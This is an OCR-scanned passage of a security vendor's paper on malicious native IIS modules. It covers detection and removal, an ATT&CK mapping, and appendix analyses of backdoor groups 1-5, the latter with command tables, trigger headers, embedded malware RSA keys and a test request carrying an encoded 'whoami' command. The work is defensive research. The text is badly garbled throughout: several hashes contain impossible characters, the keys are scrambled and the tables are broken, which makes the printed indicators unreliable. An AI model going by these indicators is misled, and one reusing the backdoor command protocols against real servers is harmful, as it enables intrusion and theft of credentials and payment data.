° Use loCs listed in the Appendix of this paper to look for suspicious modules 

e Use YARA rules published on our GitHub repository that we publish with this paper to search for Groups 1-14 
analyzed in this report 

° Use the free ESET online scanner to reveal malicious modules 
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Furthermore, check IIS server logs for indicators of malicious activity, as listed in the loCs section. Pay 
attention to custom HTTP headers that attackers use to instruct their malicious IIS modules. To find the 
location of IIS server logs, open the Internet Information Services (IIS) Manager to find the Logging tab, 

as shown in Figure 25, or read it from the configuration file [21]: 


S$windir%\system32\inetsrv\config\ApplicationHost. config. 


By default, the log files are stored under $SystemDrive%\inetpub\logs\LogFiles on the IIS server. 


G Internet Information Services (IIS) Manager & Internet Information Services (IIS) Manager 


(ETS 89 > DESKTOP-HBOOLCI » (ETS ë » DESKTOP-HBOOLCI » 
File View Help File View Help 
a DESKTOP-HBOOLCI Home | eJ Logging 
> «SE DESKTOP-HBOOLCI | Fitter, + IF Go + G4showan ¡| v $e Re | Use this feature to configure how IS logs requests on the Web server. 
{ĝ Application Poo| a 
e ú > 9 Sites | One log file per: 
d Y o ste z 
Authentic... Compression Default Directory E 
Document Browsing Log File 


Format: 


Ñ j= a š W3C M Select Fields... 


Logging | MIME Types Modules Output 


Caching Directory: ! 
%SystemDrive%\inetpub\logs\LogFiles Browse... 
Management 
3 — | Encoding: 
8 m. UTF-8 x] 
Configurat.. Feature Shared a 

Editor Delegation Configurat... 

Log Event Destination 


Select the destination where IIS will write log events. 


(9 Log file only 
O ETIW event only 


O Both log file and ETW event 


Figure 25 // Log folder location can be found in Internet Information Services Manager 


Note that the IIS software is a built-in Windows feature that can be turned on with administrative 
privileges, even on desktop machines not intended as web servers [22]. Any Windows malware running 
with administrative privileges could enable IIS and use the compromised computer as a proxy (or for 
other purposes). If you find IIS runningš unexpectedly, you can use the steps outlined above to verify 
that there are no malicious native IIS modules installed. 


53 Removing native IIS malware 
To uninstall a malicious native IIS module, follow these steps: 


e Remove the module from the list of IIS modules configured on the IIS server. It's not enough to 
remove it from all web applications; it also must be removed globally (see examples later). 

° Delete the malicious DLL file from the $windir%\system32\inetsrv or the twindir%\SysWOW64\inetsrv 
folder. 


The module can be removed manually by editing the IIS configuration, via the IIS Manager GUI, or via 
AppCmd.exe command line tool [l]. 


Figure 26 illustrates how to remove an IIS module via IIS Manager. Select the Modules tab (1) and navigate 
to the module name (2) - in this example, IIS Backdoor installed under C: \Windows\System32\ 
inetsrv\httpaxd.d11. Remove the module from the list of modules installed at the server level (3), 
and from the list of configured native modules (4-5). 


8 That is, for example, if the World Wide Web Publishing Service service is present, or IIS Worker Process (w3wp . exe) is found running, but the details depend on 
the OS and IIS versions. 
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Figure 26 // Removing a native IIS module using IIS Manager 


The equivalent action can be performed using the command line tool AppCmd. exe (as also shown in 
Figure 27): 


swindir%\System32\inetsrv\AppCmd.exe uninstall module <moduleName> 


Administrative privileges are required for this action. 


EX Administrator: Command Prompt 


Figure 27 // Removing a native IIS module using AppCmd. exe tool 


It is not necessary to restart the IIS server to remove a module; however, the module itself may not 
be the only malicious component on the server. If you do not plan to reinstall the IIS server, it is highly 
recommended to scan for (and remove any) additional malware, make sure the OS and software 

are up-to-date, and modify the passwords of all the accounts that have administrative rights on the 
compromised server: otherwise, the attackers could reinstall the malicious IIS module. 


34 


Anatomy of native IIS malware 


6 CONCLUSION 


Internet Information Services web servers have been targeted by various malicious actors, for 
cybercrime and cyberespionage alike. The software's modular architecture, designed to provide 
extensibility for web developers, can be a useful tool for the attackers to become a part of the IIS server, 
and intercept or modify its traffic. 


In our survey of the current IIS threat landscape, we collected and examined 14 native IIS malware 
families, most of them previously undocumented. Overall, the level of sophistication was low, but we did 
see evolution and some tricks that could challenge defenders. 


Moreover, it is quite rare for endpoint (and other) security software to run on IIS servers, which makes it 
easy for attackers to operate unnoticed for long periods of time. This should be disturbing for all serious 
web portals that want to protect their visitors’ data, including authentication and payment information. 
Organizations that use OWA should also pay attention, as it depends on IIS and could be an interesting 
target for espionage. 


Admin privileges are required to install native IIS modules, but we found cases where attackers shipped 
the malicious malware as a trojanized IIS module, or spread IIS malware using server exploitation. 

The March 2021 mass-exploitation of the ProxyLogon vulnerability chain was only one example of how 
IIS malware can get to interesting data (in that case, government mailboxes). 


While IIS server threats are not limited to native IIS malware, we believe this paper will be a helpful 
starting point for defenders for understanding, identifying, and removing native IIS malware, and a guide 
to our fellow researchers to reverse-engineer this class of threats and understand their common tactics, 
techniques and procedures. 
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9 MITRE ATT&CK TECHNIQUES 


This table was built using version 9 of the ATT&CK framework. 


Tactic ID Name Description 
Adversaries that use Group 1 and Group 3 backdoors 
Reconnaissance TIS95.002 Active Scanning: Vulnerability have performed vulnerability scans to identify 
= 7 Scanning Microsoft Exchange servers vulnerable to the 
ProxyLogon vulnerability chain. 
Operators of Groups 9-14 registered domains for use 
TI583.001 Acquire Infrastructure: Domains P P 8 
as C&C servers. 
Operators of Group 11 have set up their own DNS 
T11583.002 Acquire Infrastructure: DNS Server p P P 
server for use as C&C server. 
Resource T11587.001 Develop Capabilities: Malware Groups 2-14 are custom made malware families. 
Development 
; ais Group 1 is a collection of malware samples derived 
T1588.001 Obtain Capabilities: Malware í ; . 
P from a publicly available IIS backdoor named IIS-Raid. 
Operators of Group 1 and 3 have obtained and used 
TI588.005 Obtain Capabilities: Exploits P : P eN . 
the exploit for the ProxyLogon vulnerability chain. 
Adversaries can spread IIS malware through websites, 
7189 Drive-by Compromise e.g., Group 12 has been spread as a trojanized IIS 
Initial Access mele: 
i : : eer, G land G 3 have b dth hth 
7190 Exploit Public-Facing Application A i S a is 
ProxyLogon vulnerability chain. 
11059.003 Command and Scripting Interpreter: IIS backdoors can use the Windows command shell to 
ETE Windows Command Shell execute commands on the compromised IIS server. 
Execution 
IIS server (and by extension, malicious IIS modules 
T1569.002 System Services: Service Execution : ( N Y y ) 
persists as a Windows service. 
Malicious IIS modules are loaded by IIS Worker Process 
Persistence T1546 Event Triggered Execution (w3wp . exe) when the IIS server receives an inbound 
HTTP request. 
Dēobfuscate/Decode Files or IIS malware uses various techniques to obfuscate 
T1140 ; its code or strings, such as UPX packing or string 
Information s 
encryption. 
71070 indicator Ramevalon Host Group 7 has the ability to neutralize logging of attacker 
= requests on the IIS server. 
Indicator Removal on Host: š s 
T1070.006 E Group 7 has a command to modify file timestamps. 
Timestomp 
Defense Evasion 
I a IIS malware families have used various names to 
Masquerading: Match Legitimate eee E 7 
T1036.005 . mimic legitimate files, for example dir.d11 and 
ee Name or Location 
Microsoft .Exchange.Clients.OwaAuth.dl1l. 
T1027 Obtusested Files deale 30 an IIS malware families use variations of Caesar and XOR 
aaa’ ciphers to encrypt their strings and configuration. 
Obfuscated Files or Information: a . 
71027.002 À Some Group 12 samples are partially packed with UPX. 
Software Packing 
IIS infostealers intercept network traffic between 
I the IIS server and its clients, to collect sensitive 
Credential Access 056 Input Capture 


information such as passwords (Group 1) or credit card 
details (Groups 5-6). 
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IIS infostealers can be configured to automatically 
collect information from inbound HTTP requests, such 


Tm Automated Collection 
2 as passwords (Group 1) or credit card details (Groups 
5-6). 
Collection 
T1005 Data from Local System IIS malware (e.g. Groups 7-8) can collect and exfiltrate 
——— files from the compromised IIS server. 
IIS infostealers (e.g. Group 5) can use local files to 
T1074.001 Data Staged: Local Data Staging ( E ü ) 
stage collected information. 
Adversaries send HTTP requests to the compromised 
TIO7L001 Application Layer Protocol: Web IIS server to control IIS malware. Furthermore, Groups 
= = Protocols 9-14 use an alternative HTTP to obtain configuration 
and for C&C communication. 
T1071.004 Application Layer Protocol: DNS Group 1l uses DNS to obtain configuration. 
Group 7 sends data in a fake PNG file (a PNG header 
T1001 Data Obfuscation followed by non-image data), in an attempt to hide its 
C&C traffic within regular network traffic. 
G 1,2 and 4 base64 ding for C&C 
T1132.001 Data Encoding: Standard Encoding ie sea E S E O 
communication. 
commandand Encrypted Channel: Symmetric Groups 2 and 7 use AES-CBC to encrypt C&C 
Control T1573.001 YP Y eae ne 
Cryptography communication. 
11573.002 Encrypted Channel: Asymmetric Group 2 uses RSA to encrypt an AES session key, which 
— Cryptography is used to encrypt the C&C communication. 
IIS backd g. G 7 load additional 
T105 Ingress Tool Transfer ES ee can up gadadditiona 
tools to the compromised IIS server. 
IIS proxies (e.g., Group 9) can redirect traffic between 
T1090.001 Proxy: Internal Proxy hosts in the compromised environment and the C&C 
server. 
IIS proxies (e.g., Group 9) can redirect C&C traffic 
TI090.002 Proxy: External Proxy k es. P ) 
between a compromised host and the real C&C server. 
Group 1, 5 and 6 use their C&C channels to exfiltrate 
Exfiltration 71041 Exfiltration Over C2 Channel collected data: HTTP requests are sent by the 
adversary to the compromised IIS server. 
G 9-14 modif tent d by th 
Data Manipulation: Transmitted G ; ee a hens T 
71565.002 ; E compromised server to legitimate users or search 
Data Manipulation ; 
engine crawlers. 
Impact 
T1491 Defacement IIS malware can modify content served by websites 


that are hosted by the compromised IIS server. 
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APPENDIX: ANALYSIS AND INDICATORS OF COMPROMISE 
(IOCS) 


This section serves as reference material, and contains detailed analyses of all malware families 
examined for the purposes of this research. 


For the cases where a malware family has already been publicly analyzed, we provide basic structured 
information about its functionality and implementation, and refer the reader to the appropriate report 
for the full analysis. 


This section also contains indicators of compromise (loCs) extracted from all the analyzed samples. The 
aggregated loCs for all malware families are also published on our GitHub repository. 


Group 1 (IIS-Raid derivatives) 


Group 1 comprises malware samples based on the source code of I/S-Raid, a simple IIS backdoor publicly 
available since February 2020. We have seen this backdoor customized and reused by various threat 
actors, from as early as July 2020, and then deployed massively via the ProxyLogon vulnerability chain 
since March 2021, as detailed earlier, in Section 3.3. 


ESET detection names 
Win64/BadllS.S, Win64/BadIIS.T, Win64/BadlIS.V, Win64/BadIIS.W, Win64/BadllS.X 


Implemented handlers 


CHttpModule: :OnSendResponse 


Features 

Feature Comment 

Intercepts regular traffic between the compromised server and its 
Infostealer S f rand : 

clients, targeting credential information. 

Supported backdoor commands: 

° 

Backdoor Run a shell command 


° Upload a file 
° Download a file 


Infostealer mode 


Group 1 malware parses all incoming HTTP requests, targeting benign requests with sensitive 
information — this means requests with the string password or Transport-Security (different per 
sample) present in cleartext in the HTTP body. 


In such cases, the HTTP request body is logged to a log file with a hardcoded path (see loCs subsection), 
in this format: 


dd/mm/yyyy hh:mm:ss | <fullHttpRequestBody> 


This log file can be exfiltrated via a backdoor command. 


Backdoor mode 


The backdoor functionality of this malware can be triggered via special attacker-crafted requests, with 
two specific HTTP headers present: 
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s A password header set to a hardcoded password 
+ A command header present with data in this format: <emd>|<arg> 


Password and command header combinations vary across the samples, for example X-Password and 
X-Chrome-Variations, Of Strict-Transport-Security and X-Content-Type-Options. All 

of these combinations are listed in the loCs subsection; however, we have chosen not to publish the 
passwords that can be used to control the backdoors. 


The backdoor uses information from the HTTP headers to execute one of the supported commands, as 
listed in Table 5. After the command is executed, the malware modifies the IIS response to return the 
command's result to the attacker. Generally, the same HTTP header that was used to pass command 
arguments is used for the return value (for example, X-Chrome-Variations). 


The C&C communication channel is base64 encoded; CryptBinaryToStringA and 
CryptStringToBinaryA Windows API functions are used for encoding/decoding. 


Table 5 // Backdoor commands for Group 1 (not all commands are supported by all samples) 


Command Arguments Command description Return value 


Executes the command as anewc:\ 


CMD shell command Windows\system32\cmd.exe /c command output 
process. 
PIN N/A Connectivity check PONG 


Base64 decodes the code, executes 
it in a new thread, or injects it via 


INJ base64-encoded code Process Hollowing to a legitimate c: N DONE 
Windows\System32\credwiz.exe 
process. 
file content or N 
DMP N/A Reads the content of the log file. ° 


Creds Found 


filename, base64- Dumps the file content into a file with 


UPL : DONE 
encoded file content the specified name. 
DOW filename Reads the content of the specified file. file content 
other N/A N/A INVALID COMMAND 


loCs 


SHA-1 

1176B51814B59526B02AA7F3C88334A0256D0370 
58E23A74AC78D223505C774A20D0C1DE1070BE3A 
66739373D34DE7002C80A5E2AF660E9EAGFEF6E7E 
68B6E7A48CD9B894A076C4D10A64E98F1C7366A3 
6AC1CB3E04E45894DFFFC5D113068B28923508AA 
717B9E64F4C2B7DF6AACOOD21A5EB0O71EEFC25596 
8A0885AE43FA9057A46611E8171EA2DDC5DA7330 
8B8BBF897C49A01D82610F3834CC77111D310161 
9DFA1EC8704A697F9847C0B8DFF41BF5EE289FC1 
AA9BA493CBIE9FA6GF9599C513EDBCBEE84ECECD6 
B24E67BDB53B380AC97249B489AADE3BFDAF9E43 
BBFC53367730C270C680EE5E7860F824102082C3 
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BF2A9C216A1DA23BBDA004101A2E2F5E8D8D3D23 
C2F9740A73CCC13A868E1E3150F43BDDB54CC66A 
ECAEA1D9D4E84FDDF61C87AB64256EAC7863D3A7 
F449C31AAB9ECOE6C6B2C336DEB83ADE6DAD53FD 
F8EF3168DD4C07D0C2E36D4143C9DDA8E1F6E306 


Filenames and paths 


authmd4.dll 
cachport.dll 
httpapxd.dll 
iiscom.dll 
IISNET4.d11 
IIS-Raid-Backdoor.dll 
IIS-Trojan.dll 
IISModule.dll 


Microsoft.Exchange.Clients.OwaAuth.dll 
svcfilter.dl1l 
C: \Windows\Temp\AAD30E0F.tmp 
C:\Windows\Temp\creds.db 


C:\Windows\Temp\log.tmp 
C:\Windows\Temp\thumbs.db 
DllResolve.db 


Network indicators (HTTP header combinations) 


COM InterProt, X-Chrome-Variations 


Cookie, X-FFEServer 

Sense-Pwd, X-Chrome-Variations 
Strict-Transport-Security, X-Content-Type-Options 
X-BLOG, X-BlogEngine 


X-Cache, X-Via 
X-Password, X-Chrome-Variations 


XXXYYY-Ref, X-Chrome-Variations 


Group 2 


Group 2 is a simple IIS backdoor. Its most interesting feature is the mature use of cryptography for its 
C&C communication, using a statically linked Crypto++ library. The first known instance of this backdoor 
is from May 2018; we don't have any information about its targets. 


ESET detection names 
Win64/BadIIS.D, Win64/BadIS.L 


Implemented handlers 


CHttpModule: :OnBeginRequest 
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Features 
Feature Comment 
Supported backdoor commands: 
Backdoor * Runa shell command 
° Upload a file 
° Download a file 
Backdoor mode 


Backdoor mode can be activated via a special attacker-crafted request, with a hardcoded password 
present at offset 0x250 of the raw HTTP request (obtained via IHttpRequest: :GetRawHttpRequest). 


The backdoor command and parameters are included in the HTTP request body, as a series of key-value 
pairs delimited by &. The request body is parsed using the following regular expression: 


([Nw+$]+)=([%8]*) 


Accepted are four keys: a (action, backdoor command), e (shell command), k (session key) and £ 
(filename). Table 6 lists all the possible backdoor commands and their arguments. 


Note that the c and £ parameters are encrypted with AES-CBC and base64 encoded, with the following 
hybrid scheme used for the encryption: 


e The k parameter holds an RSA-encrypted session key 
° The c and £ parameters are encrypted with AES-CBC, using the session key 


A similar scheme is used for communication in the other direction — the malware generates a session 
key to encrypt the data (such as command output), and then encrypts the key using RSA. This data is 
then added to the body of the HTTP response to the attacker's request. In the case where a file is being 
exfiltrated from the IIS server by this backdoor command, the HTTP response has the Content-Type 
header set to attachment. 


Note that a different RSA key is used for both directions of the communication; that's why the malware 
embeds a private RSA key (from one key pair, the attacker having the corresponding public key), as well 
as a public RSA key (from a second pair, the attacker having the private key). 


Table 6 // Group 2 backdoor commands 


Command Argument Argument Argument EET 
Command description Return value 
(a value) (c value) (k value) (f value) 
base64- 
SES . base64-encoded, 
encoded, : Runs the specified shell 
r session key N/A encrypted command 
encrypted shell command. 
output 
command 
base64- 
a N/A šessioñikey encoded, Creates a file with the specified ór 
encrypted name and content. 
filename 
base64- 
GER Downloads the specified file 
' encoded, : base64-encoded, 
d N/A session key from the compromised IIS 
encrypted encrypted file content 


server. 
filename 
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S malware 


In an older version of this backdoor’, no encryption was used and the backdoor command and 
arguments were included in the URL path in this format: ([\w+%]+)=([*!]*). For that version of the 
backdoor, the accepted parameters are action (command name) and v1 (command argument), with 
an optional argument that can be included in the HTTP request body. The commands supported by this 
older version are listed in Table 7. 


Command 
(action value) 


Table 7 // Group 2 backdoor commands (older version) 


Argument (vl value) 


Argument (HTTP 
request body) 


Command description 


Return value 


base64-encoded 


Runs the specified shell 


re 


base64-encoded command 


command. 


command output 


base64-encoded file 


Creates a file with the 


uf base64-encoded filename ; OK 
content specified name and content. 
Downloads the specified file 
df base64-encoded filename - from the compromised IIS pester rad 
encrypted file content 
server. 
loCs 
SHA-1 
338B6E464874A52E61BC5B8FCAA94D66FE7E4141 


481543A5985B947989691C01C478721AED5BOF2D 
AB934E 9AOBFCEFB2DF2 95E1E9ADBB3FFDIF15B82 


Filenames and p 


iisddos.dll 
iisred.dll 
iissup.dll 


RSA public key 


= SSS BEGIN PU 
MIG£MAO0GCSqGS 


E2EAA585E69150029487080 


E445 


aths 


s 


BLIC. KEY===== 


T 


E1240D918ED1D 


Ib3DQEBAQUAA4GNADCBiOKBgOC5VGPiBWYOHbmeM8xOR4KhahM5FRRph6cSIkUj0q4Aoeh 


tDGeNtEhrJsseY8l10Rhyhl1NRcz4vCGMLapgkLOpT8dW3Ypvu5NXPDOmsVwOxViJpF/30w5KHg09CM8TfwyR 


CbwpZ9MHGCQVN 
ND PUBL 


L 


aieeao BEGIN PU 
MIG£MAO0GCSqGS 


00mD40Ve1J791 
TERES END PUBL 


SSS BEGIN PU 


IC KEYS 


BLIC KEY-==== 


UyWOdw2FD/ViMnSGyLGvHaj yVAqM6BwIDAQAB 


Ib3 DOEBAQUAA4GNADCBiQKBgOCZMKJzL9vCPjsDdFaxAQUAyZeEg+DzS9f4iEVNdS9bk+1 


DvfBKbDEybXJNc5+xs0/Cql15UNrIWLwIDAQAB 


IC KEY----- 


BLIC KEY----- 


YEr zMVHWNnET 6zKt+AH7sCZUdHVSBUkKETX9k6a3kIWkWdecfVIMTpRcCBFIm/VandARn2WFSEr/hzlEF6tA 


MIG£MA0GCSqGSIb3 DOEBAQUAA4GNADCBiQKBgQDDi 7W5 fyEi 6rl aB8CTxIcL63KO5iGW4dGBqkaN9Fgyv3b 
QhvVCupmtAdd8 y8W8 9Ct1JQeT EwgEDF+Ld0A4mHxZCJKCJe+ YPW+Si j Xad+YMgnTNk3 9izYLiRiwrVf£4xhAC 
7sNMMRBxxBAODAASt PbLu9 94 /WJI41KS5 zmb PecxCPh+wIDAQAB 


9 SHA-1: AB934E9A0BFCEFB2DF295E1E9ADBB3FFD1F15B82 
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RSA private keys 


===3%= BEGIN PRIVATE 
MIICdwIBADANBgkqhk 
ByKyPw80ZqcmHS9tBN 
azv+idnXdFN/NEXgtb 
v6Psmh2qb1gU6k06EF 
8DUdvi0cn/pXI/L6eY 
bgoYcDGOfF2tVejJcw 
1U0dJJ6iM7+ 


= 


OR8E+QJBAKJC1q/EuH 


jpRb1BUQgk4Iu6EUE= 
ND PRIVATE K 


E 


KEY----- 


iG9w0BAQEFAASCAmEwgg JdAgEAAoGBAKbcOW5n/YV7VUKBD90FslgWQRUIOulpokKe 


5b3hSJ2rD6EONTDa6B 


EJ7x7PN4 


hB2hJ/OGAWC71RrBikj9J4xsAklp+v0Crc+8FZR 


m6HEZ1Y91G+OMb3X1n1F/U9umV/ZlebCUyvlAgMBAAECgYAnuDehnPZ//mccfB17F 
NNoG9AnVkyCSaAinJ8YzLGexBkg+45fXqNh8hY1Koa8NYI3ijECIJpYQ6PXU/jjize 
eyaSnw0afEqs93T4aX/tMM5b1F6CxCv3EF+JEoj1CcEqY9hIM1sSQJBALaLXIPRPGM 
kHTtoN5cuj SQUiKOEVc3bRO3nynnVxnJioPK7iNmknfGsUWIBNqJj5xJ2kCOQDQAS 


sI2x54GPPR4D31xqjNLqiP8KLg8rVyDWuJ005qIn82G6C5/Ggfj+ttdjzxemcxZePBfmqm0dA 
EAgfCj82UuwjGj8Mjo0fSCwsAPRj yX+VZNZ+S6rgFWiC7PMW40mgalet8csucjnHstbyOxrZzqg8ywxb2tYV 


DQJkYTqpYleudERi20OFMmYF4zPgcertzcO2CONhMuQgOhIWgad8 9SD1Z/tKAPkOrRG 
aVDRb7 ybfnnECOH6gtqTUJIC8xWm+OLeOsKUW4h1SgHysmDCimTOeke//YAQIYNIVH6sXq/10NtHOXv7zck 


EY----- 


a BEGIN PRIVATE 


KEY----- 


IICdwIBADANBgkqhk 
A2yRw0nLNjsP/94Dr4 
me8WeuGjmylle7WM33 
HTF8cUmiPmZ9viD75A 
hWdGgnNOPbzpAAuPeA 


Wkogqt1lmWSNpqMUcJwq 
kKEAxzW8Sigu2+r6sd7 
jlay8wJBAJgiP4zv+3 
AWpZvBHL2tf£kCOF 

ZEOLDWIXXrJGbd7gs= 
== === END PRIVATE K 


----- BEGIN PRIVATE 
MIICdgIBADANBgkqhk 


BIH6MWAsFu/x8DkN1 


iG9w0BAQEFAASCAmEwggJdAgEAAoGBAMWWVT 3nNfzMrt+bF12n068qslc/KicQ9z9D 


XC 


roSSbcnkBeAFi09Eb1 
60pE/ivOQ7ThGgmkPdt 


eQiUCk2w 
BiRB9olb 


XVoc2363C/2uCRxUnn0iKUhzbjFdtFwv9%t+ubjbl1sp41DaSo7UDfH4fn2sQsmk 


BCINyJj7kTAGMBAAECgYAY1FHwkvr2SxR5p/£3X 
atGl1BWiAUIuHr0YVSUOQAu3ZyNu9jpAjJimrGl1n0 


9edPD1NNqWOJCBApG1JstaMLHaurWmZ+pN1JOXerHMPnhFEHBJOOJBAMuYrgcVhJ4 


+BhHUay9TYEjplu/IVqlpZz8m/6+tMvcnki 4 


RV18K8+k 


kuEa2wBAFM84t41kmd5r8o01c0+zs2n1sC00D4c5 


td8tyaMGI1u5E9O0NDK8PWZmFJ/E5V733rnfl5BoNCxnAD3cIWBscAdrO0hX6uvnKpA 


OtsN/W3WDaFAKlasAQ 
RImNVOm/4RMt/1f£ 


KEY----- 
iG9w0BAQEFAASCAmAw 


1R2cjSkLOxzkqYhhyRss2+sps0d 


kqJcd55e 


XaTYMgR1inTMPOB74cPRF2ixAGlqtzdu00r+xoo 


BanEdO08YS0ip3wDCOHJOXtfn4xp2b6k/rXIcio6ny805SFdxx 
6iVcYSQNU1Je2LwJiLbhl/Jif/LFSGndZIFS6v5cuBCMQ2LdbSKOI7nJUa2nsxBcSan 


ggJcAgEAAOGBALkeAvelwS0z8Vi29YJsGO5N9IVWS8S5gfKO 
y3UNE2VBK30+gH1rwUVlaMZpO+gyOKwYHMNBLO8NpR£Hy2ey/7snN+q9XcpAjX401A0bhafN/viYWNAoxWG 
i1n698wZ7Nd77E5zSB+re4JnK6p290+hvj]03wCdI7BgrBEBLenPvgvAgMBAAECgYAfF47ZA60qk3hcdbJru 
vulHcw2d/2HM0aL+i1WsJgtd731M1hB3m5TayY8rDosZK60PyPwOEv75NEmL6txq9UPz6a0X+BxvuRkMwXa 


GIGoI1Zv39e0cVmywMZRN2COJBAPB/hmYDDAc 


gXfhzoRsggqlAdVgqgonZ3wcLkr8HhTCAZt77zfSbBp7ecUgcrN4Sua+6dZXGz7SZKZVhdID8eTHXECQODFDK 
kNVnmj Yj okFFm+Ihqeu2BRZ£RO1fncsZSIsNyYHTRgMDV+cpgZXx0/6iFbGUNyAofA 
kAEcabPHcFMJGn4HFLeyHTB7z3jZtCz1bTr4APrZj1c4nzFt40Z29)j]ySJP5V/nNxLTPrXdcxCa0ZJwjGYDonU 
GODRAKA3Nv+zVKFab1321PLsTxm+NadWzIN3ILOhiTioLjD6ZBqMv5Crxk9u2kD8sAZM6UVW3n7Lxp/vzPu 
vxlvZrMAJAKEA8AVRI3i1jb271bA2nmTyRqdwnCdxYxfBukC 9Kv91lo8RvWapg/ZocnzR30k8TR/E9PArmn1 


SHOcc4 ypJ53XPVbTW. 


TRYem10Z9GOpfTRA== 
=== sss END PRIVATE K 


Group 3 


Group 3 is a simple backdoor that allows the attacker to execute files and shell commands on the 
compromised server. According to our telemetry, it has been in use since April 2021, targeting a small 


number of IIS servers i 


n Ukraine. 


ESET detection names 


Win64/BadlIS.Q 


Anatomy of native IIS malware 


Implemented handlers 


CHttpModule: :OnSendResponse 


Features 
Feature Comment 
Supported backdoor commands: 
Backdoor ° Execute a shell command 
° Execute a file 
Backdoor mode 


Backdoor functionality of this malware can be triggered via special attacker-crafted requests, 

with base64-encoded command lines embedded in a specific HTTP header (for security reasons, 
we have chosen not to disclose the name of the header). This command line is decoded via 
CryptStringToBinaryA and executed via the CreateProcessA API. The backdoor then reads the 
result of this command via an unnamed pipe, and appends the base64-encoded data to the HTTP 
response body for this request. 


loCs 


SHA-1 
D33FA7C550AC0A7B47EB6 90FE9C3750CAF04EB68 


Filenames and paths 


statdoc.dll 


Group 4 (RGDoor) 


RGDoor is a simple IIS backdoor that was found on web servers belonging to Middle Eastern 
government organizations, and to one financial and one educational institution, as reported by Unit 42 in 
January 2018. No other RGDoor activity has been reported since. 


ESET detection names 
Win64/BadIIS.R 


Implemented handlers 


CHttpModule: :OnBeginRequest 


Features 
Feature Comment 
Supported backdoor commands: 
Backdoor ° Execute a file or a shell command 
° Upload a file 
° Download a file 
Analysis 


We will limit this section to clarify one misconception from the original blogpost; please refer to the Unit 42 report 
for a detailed analysis. 
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Unlike the claim in that 2018 blogpost, RGDoor doesn't distinguish between inbound HTTP GET 

and HTTP POST requests - any method can be used to activate the backdoor, as long as the 

specifically crafted Cookie header is present. We verified the behavior on both known samples! 

of this backdoor in our testing environment, and can confirm that it reacts the same to any 

method, as shown in Figure 28. Note that we used the same example as given in the blogpost: 
NzkwcCM80zU5PQ== is whoami command, XOR encrypted with 0x54 and then base64 encoded, while 
PTOndDUkJCQ70zgIMDEyNSE4IDUkJCQ70zheVA== decrypts to the result of the whoami command, iis 
apppool\\defaultapppool\n\x00, encrypted and encoded in the same way. 


Python 3.9.1 (tags/v3.9.1:1e5d33e, Dec 7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32 
Type "help", “copyright”, “credits” or “license” for more information. 

>>> import requests 

>>> r =[requests.posti 'http://localhost', headers=['Cookie': 'RGSESSIONID=54NzkwcCM80ZU5PQ==")) 
>>> r.text 


*PTONdDUKICQ70ZgIMDEyNSE4IDUKICO7OZheVA==" 
>>> p ee ee headers=('Cookie': ‘RGSESSIONID=54NzkwcCM80zUSPQ==" }) 
>>> r.text 


* PT@ndDUkICQ70zgIMDEyNSE41DUkICQ70zheVA==" 
b> p ara Gee aen headers=['Cookie': "RGSESSIONID=54NzkwcCM80zU5PQ==" }) 
>>> r.text 


"PTOndDUkICO7OZgIMDEyNSE4IDUKICQ7OZheVA==" 
>>> r a headers=['Cookie': 'RGSESSIONID=54NzkwcCM80zUSPQ==']) 
>>> r.text 


*PTONADUKICO70ZgIMDEyNSE4IDUKICO7OZheVA==" 
>>> 


Figure 28 // The RGDoor backdoor accepts any HTTP verb with its malicious requests 


The reason for this misconception lies in the interpretation of the SetRequestNotifications method, 
called from the RegisterModule entrypoint. According to Unit 42, this function can be used to 
“configure the module to handle GET requests (dwRequestNotifications) and/or POST requests 
(dwPostRequestNotifications). ... In RGDoor, the code calls this function with arguments that ignore 
inbound HTTP GET requests, but act on all HTTP POST requests seen by the IIS server...”. 


To clarify, the two arguments of this function (dwRequestNotifications and 
dwPostRequestNotifications) are not related to the HTTP method at all — these bitmasks refer 
to the sequence of request- processing pipeline events, and allow the module to register for these 
events. RGDoor sets dwRequestNotifications to register its OnBeginRequest handler, and leaves 
dwPostRequestNotifications empty (for example, the OnPostBeginRequest handler is not 
implemented by RGDoor). This is illustrated in Figure 29. 


Note that IIS modules can modify their behavior based on the incoming HTTP request method; however, 
that distinction would be implemented in their handlers and RGDoor doesn't use this option. 


10 SHA-1: 5447283518473EA8B9D35424532A94E2966F7A90, A9143B0FC38B6329D5DFBFFC4AA91B5F57211DA0 
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3 Exported entry 1. RegisterModule 


public RegisterModule 
RegisterModule proc near 
push rbx 

sub rsp, 20h 

8 


3 Size 


signed ints 
3 IHttpModuleFactory* pModuleFactor 


es rax, Fax 
short loc_180003347 


rax, const CHelloWorldFactory::*vftable’ 
mov [rdx], rax 
short loc_180003349 


loc_180003347: 
xor edx, edx 


rod, rad 3 DWORD dwPostRequestNotifications 
parie 5 this 
r8d, [r9+RQ BEGIN REQUEST] ; DWORD dwRequestNotifications 


, 


[rax+IHttpModuleRegistrationInfoVtbl.SetRequestNotifications] 
RegisterModule endp 


Figure 29 // RGDoor registers its OnBeginRequest handler via SetRequestNotifications 


loCs 


SHA-1 
5447283518473EA8B9D35424532A94E2966F7A90 
A9143B0FC38B6329D5DFBFFC4AA91B5F57211DA0 


Filenames and paths 


HTTPParser.dll 
TraficHandler.dll 


Group 5 


Group 5 is an IIS infostealer, with the ability to collect and exfiltrate payment information obtained 
through intercepting regular HTTP traffic on the server. We have detected this malware on only a 
couple of IIS servers in the USA, between September 2020 and January 2021. All analyzed samples seem 
to be tailored for specific e-commerce websites. 


ESET detection names 
Win64/BadllS.F, Win64/BadIIS.O 


Implemented handlers 


CHttpModule: :OnPostBeginRequest 
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Features 
Feature Comment 
Collects and exfiltrates sensitive information from regular traffic 
Infostealer 


between the compromised server and its clients. 


Infostealer functionality 


The malware intercepts regular inbound traffic to the compromised server, filtering POST requests with 
a specific path in the URL, which differs across samples: 


/checkout/checkout. aspx 


/checkout/Payment.aspx 
Matching HTTP requests are logged in the log file: 
C:\Windows\Temp\cache. txt 


The data collected in this file can be exfiltrated via a specifically crafted HTTP request from the attacker. 
This request must have an X-IIS-Data HTTP header set to a hardcoded password (that we have 
chosen not to disclose), and must be sent to a URL path specified in the malware sample: 


/privacy.aspx 


/checkout/Payment.aspx 


Once the malicious module detects such a request, it copies the contents of the log file to the HTTP 
response. 


loCs 


SHA-1 
706BAB59C20FCC9FBC82C41BF955B5C49C644B38 


7A2FAO7A7DCO5D5OFE8E201A750A3DC7F22D6549 
A1C5E7424E7C4C4C9902A5A1D97F708C6BB2F53A 


Filenames and paths 


dir.dll 
isapicache _ .dll 
isapicache .dll_ 


C:\Windows\Temp\cache.txt 


Network indicators 


Targeted URIs 


